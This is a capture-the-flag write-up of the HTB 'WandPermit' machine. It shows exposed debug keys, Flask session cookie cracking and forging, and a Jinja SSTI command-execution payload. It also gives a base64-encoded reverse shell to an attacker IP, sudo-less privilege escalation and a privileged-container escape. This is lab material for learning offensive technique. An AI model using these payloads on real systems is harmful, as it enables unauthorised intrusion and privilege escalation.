HTB University CTF 2022 — Fullpwn Challenge: WandPermit
Introduction
This is easy level fullpwn challenge on Hack The Box University CTF 2022.
Chall description
You are a big boy magician now, it's time to get your magic wand permit but the wand permit service has closed registration for some weird reason. Can you find a way to get your permit?
Enumeration
start with running rustscan to scan open ports
sudo rustscan -a 10.129.228.165 -r1-65535 -- -sV -sC -oN nmap.txt
# Nmap 7.91 scan initiated Sun Dec 4 20:07:59 2022 as: nmap -vvv -p 80,5432 -sV -sC -oN nmap.txt 10.129.228.165
Nmap scan report for 10.129.228.165
Host is up, received reset ttl 63 (0.29s latency).
Scanned at 2022-12-04 20:07:59 PST for 114sPORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 62 Werkzeug/2.2.2 Python/3.8.10
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Mon, 05 Dec 2022 04:08:15 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Server: is online :)
| X-Powered-By: Magic
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Mon, 05 Dec 2022 04:08:07 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 197
| Location: login
| Server: is online :)
| X-Powered-By: Magic
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="login">login</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Mon, 05 Dec 2022 04:08:08 GMT
| Content-Type: text/html; charset=utf-8
| Allow: HEAD, GET, OPTIONS
| Server: is online :)
| X-Powered-By: Magic
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-favicon: Unknown favicon MD5: 9C5075081FAFECFC9C20043D394111DB
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
| http-robots.txt: 1 disallowed entry
|_/static/CHANGELOG.txt
|_http-server-header: Werkzeug/2.2.2 Python/3.8.10
| http-title: Wand Permit Authority | Log-in
|_Requested resource was login
5432/tcp open postgresql syn-ack ttl 62 PostgreSQL DB 9.6.0 or later
| fingerprint-strings:
| SMBProgNeg:
| SFATAL
| VFATAL
| C0A000
| Munsupported frontend protocol 65363.19778: server supports 3.0 to 3.0
| Fpostmaster.c
| L2188
|_ RProcessStartupPacket
we found robots.txt
from nmap scan with the following content
/static/CHANGELOG.txt
webserver view
content inside changelog.txt
Version 2.4.0
-------------------------
- Removed hardcoded secrets on core.js, might need more cleaning on other files
Version 2.3.0
------------------------
- Added manifest plugin to webpack for an upcoming featureVersion 2.2.0
------------------------
- Cleaned up unused filesVersion 2.1.0
------------------------
- Temporarily disabled registrations to normal users due to issues againVersion 2.0.0
------------------------
- Added special feature that allows only developers to access certain featuresVersion 1.3.0
------------------------
- Added webpack for static file bundlingVersion 1.2.0
------------------------
- Added base45 encoding support for the new Wizard ID'sVersion 1.1.0
------------------------
- Fixed issues on registration
let’s scan /static/
directories
we found another file, /static/manifest.json
the file containing this text
{
"main.css": "auto/minicssextract.css",
"main.js": "auto/main-bundle.js",
"dev.js": "auto/dev-48644bcc829deeffe29e-bundle.js"
}
Inside of /main-bundle.js
, we can found registration url which was disabled (/testing/dev/api/v3/register)
(()=>{"use strict";function t(e,r){const s=n();return(t=function(t,n){return s[t-=271]})(e,r)}function n(){const t=["88nTNxbi","674502feENOW","2032023SNqBbM","22BoFNoI","submit","520682ZYoYwM","8NCvxNF","351036juKBfo","607930DIkrQc","2UFTray","1335948eXCNaG","loginForm","/login","1304295IBrEeG"];return(n=function(){return t})()}function e(){const n=t,e=document.getElementById(n(274));e.action=n(275),e[n(281)]()}function r(){const t=["registerForm","6634359pNVFml","method","action","1UzWrqh","4251786JMOHtu","/testing/dev/api/v3/register","3379708uVuUSP","3eifQCL","POST","7797979AOoKKf","5986304ePFOpi","336692zuUMXy","submit","3688955HtwrSn"];return(r=function(){return t})()}function s(t,n){const e=r();return(s=function(t,n){return e[t-=199]})(t,n)}function o(){const t=s,n=document.getElementById(t(212));n[t(200)]=t(203),n[t(199)]=t(206),n[t(210)]()}function u(t,n){const e=c();return(u=function(t,n){return e[t-=194]})(t,n)}function c(){const t=["67370NVaJae","176Euyxzh","263842eCWWIF","48zypDZa","3946476BBFrMR","1017fiVBvr","395236JAWcZI","149765hIJPRp","143erIBdq","790092xcFjJE","10655Jtljli","3OkZlct"];return(c=function(){return t})()}function a(){const t=["249907cJcLKv","443991yBytqs","keyup","18638217IUPyOL","6gRcFCw","addEventListener","emailInput","name","1169515suZGLZ","24KlCwin","440075AUCbti","value","change","2091622XzcfjD","onload","innerHTML","Login","click","disabled","files","fileUploadInput","7387264hDtVhe","getElementById"];return(a=function(){return t})()}!function(n,e){const r=t,s=n();for(;;)try{if(369556==parseInt(r(282))/1*(parseInt(r(272))/2)+parseInt(r(278))/3*(-parseInt(r(283))/4)+parseInt(r(276))/5+-parseInt(r(273))/6+-parseInt(r(279))/7+parseInt(r(277))/8*(parseInt(r(284))/9)+parseInt(r(271))/10*(parseInt(r(280))/11))break;s.push(s.shift())}catch(t){s.push(s.shift())}}(n),function(t,n){const e=s,r=t();for(;;)try{if(669711==parseInt(e(201))/1*(parseInt(e(209))/2)+parseInt(e(205))/3*(parseInt(e(204))/4)+-parseInt(e(211))/5+-parseInt(e(202))/6+parseInt(e(207))/7+-parseInt(e(208))/8+parseInt(e(213))/9)break;r.push(r.shift())}catch(t){r.push(r.shift())}}(r),function(t,n){const e=u,r=t();for(;;)try{if(504549==parseInt(e(201))/1+parseInt(e(205))/2*(-parseInt(e(198))/3)+parseInt(e(203))/4+-parseInt(e(197))/5*(-parseInt(e(202))/6)+parseInt(e(194))/7*(-parseInt(e(200))/8)+-parseInt(e(204))/9*(-parseInt(e(199))/10)+parseInt(e(195))/11*(-parseInt(e(196))/12))break;r.push(r.shift())}catch(t){r.push(r.shift())}}(c);const i=p;function p(t,n){const e=a();return(p=function(t,n){return e[t-=241]})(t,n)}!function(t,n){const e=p,r=t();for(;;)try{if(872871==parseInt(e(249))/1+-parseInt(e(252))/2+-parseInt(e(263))/3+-parseInt(e(248))/4*(parseInt(e(247))/5)+-parseInt(e(243))/6*(-parseInt(e(262))/7)+parseInt(e(260))/8+parseInt(e(242))/9)break;r.push(r.shift())}catch(t){r.push(r.shift())}}(a),window[i(253)]=()=>{const t=i,n=document[t(261)](t(259)),r=document[t(261)]("fileUploadButton"),s=document[t(261)](t(245)),u=document[t(261)]("submitButton");s?(!s.value&&(u[t(257)]=!0),u[t(254)]===t(255)?u[t(244)](t(256),e):"Register"===u[t(254)]&&u[t(244)](t(256),o),s[t(244)](t(241),(()=>{const n=t,e=s[n(250)];-1==String(e).search(/^\s*[\w\-\+_]+(\.[\w\-\+_]+)*\@[\w\-\+_]+\.[\w\-\+_]+(\.[\w\-\+_]+)*\s*$/)?u[n(257)]=!0:u[n(257)]=!1}))):n&&(r[t(244)](t(256),(()=>{n[t(256)]()})),n[t(244)](t(251),(()=>{const e=t;r[e(254)]=n[e(258)][0][e(246)]})))}})();
from /dev-48644bcc829deeffe29e-bundle.js
we can find a static debug key which may allow us to access the registration page
(()=>{const t=e;function n(){const t=["5306hZYOBb","46144oFYHui","2092674nyhxib","1328703RvoYdl","1809168oMTOCe","getTime","expires=","9561972IksZju","x-debug-key-v3","038663befb1ad868a62035cf5d685adb","cookie","2122473ZOLSGJ","1224815cYPzDr","toUTCString","setTime"];return(n=function(){return t})()}function e(t,r){const s=n();return(e=function(t,n){return s[t-=205]})(t,r)}!function(t,n){const r=e,s=t();for(;;)try{if(903604==-parseInt(r(208))/1+-parseInt(r(207))/2+parseInt(r(216))/3+-parseInt(r(209))/4+parseInt(r(217))/5+-parseInt(r(212))/6+parseInt(r(205))/7*(parseInt(r(206))/8))break;s.push(s.shift())}catch(t){s.push(s.shift())}}(n),function(t,n,r){const s=e,o=new Date;o[s(219)](o[s(210)]()+864e5);let c=s(211)+o[s(218)]();document[s(215)]=t+"="+n+";"+c+";path=/"}(t(213),t(214))})();
found the dev cookie on dev-random-bundle.js
x-debug-key-v3="038663befb1ad868a62035cf5d685adb"
you can paste the whole code into the console and it will assign you the cookie automatically
Exploring Web Content
Now we can access the registration page on /testing/dev/api/v3/register
fill up all forms and then register. After registration is complete, we can now log in to the website.
The page looks like this after successfully logging in.
Here’s inside the Verification page
And here’s inside Meetups page
We don’t have enough permission to access those two pages. Actually, we can verify ourselves by uploading the images that are shown on the page Verification. But after verification, there’s not much thing can be done (i think)
So let’s continue.. If we see on cookie, now we have session
cookie which looks like flask session cookie
Forging Cookie
using tools called flask-unsign
, we can look at the data of the flask cookie.
Using the same tools, we can brute-force the secret token and if we succeed, we have the ability to forge a new cookie, which then can be used to change staff
and verified
value into True.
flask-unsign --cookie "eyJlbWFpbCI6ImFkbWluQGFkbWluLmNvbSIsImlkIjo5LCJzdGFmZiI6ZmFsc2UsInZlcmlmaWVkIjpmYWxzZX0.Y42OOQ.9M4wnKJ1VOzSooTNHcEHBRro8P4" --unsign --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval
got the secret sss
Now let’s forge the cookie
flask-unsign --sign --cookie "{'email': 'admin@admin.com', 'id': 9, 'staff': True, 'verified': True}" --secret sss
Change the cookie on the browser to the new one. Now we should be able to access the Meetups page
SSTI on meetings
search form was vulnerable to SSTI since our input {{7*7}}
was rendered as 49. Also our input was reflected on url
We can achieve command injection using the payload below
{{request.application.__globals__.__builtins__.__import__('os').popen('code here').read()}}@a.com
We can execute reverse shell from there.
echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMi8xMjM0ICAwPiYxCg== | base64 -d | bash
And we should be able to get a connection from the target.
Let’s stabilize our shell using some magic trick
python3 -c "import pty; pty.spawn('/bin/bash')"
export TERM=xterm
CTRL + Z
stty raw -echo;fg;reset
Nice, we got a user flag
Privilege Escalation
Now let’s figure out how to escalate our privilege to root. if we check with sudo -l
, we can clearly see that the current user can run less
as root without a password.
We can do privilege escalation using the steps here https://gtfobins.github.io/gtfobins/less/
At this moment, I thought I was compromised the whole machine. But wait… why the hostname looks weird? ARE WE INSIDE A CONTAINER??
huft, since there’s also no root.txt on the whole system, then we are 100% inside a container and should escape in order to get the root flag
Fortunately, this container was run with --privileged
options. This can be known since there are a lot of files under /dev
directory .
You can also try this on your local machine and compare the contents of /dev
on normal container and container with --privileged
options.
With this information, we can try to mount the local filesystem and read root flag from there. We can use the command below to see the available disk that can be mounted
fdisk -l
None of the /dev/sda1-3
are local filesystem. I also couldn't mount /dev/sda3
since it was an LVM partition.
I was stuck at this point for a long time and take a nap after that. When I woke up, I re-run the command again and my eyes now see another available disk which was /dev/dm-0
and /dev/dm-1
Trying to mount /dev/vm-0
and surprisingly. This disk is the local filesystem.
We can now read root flag under /mnt/aaa/root/root.txt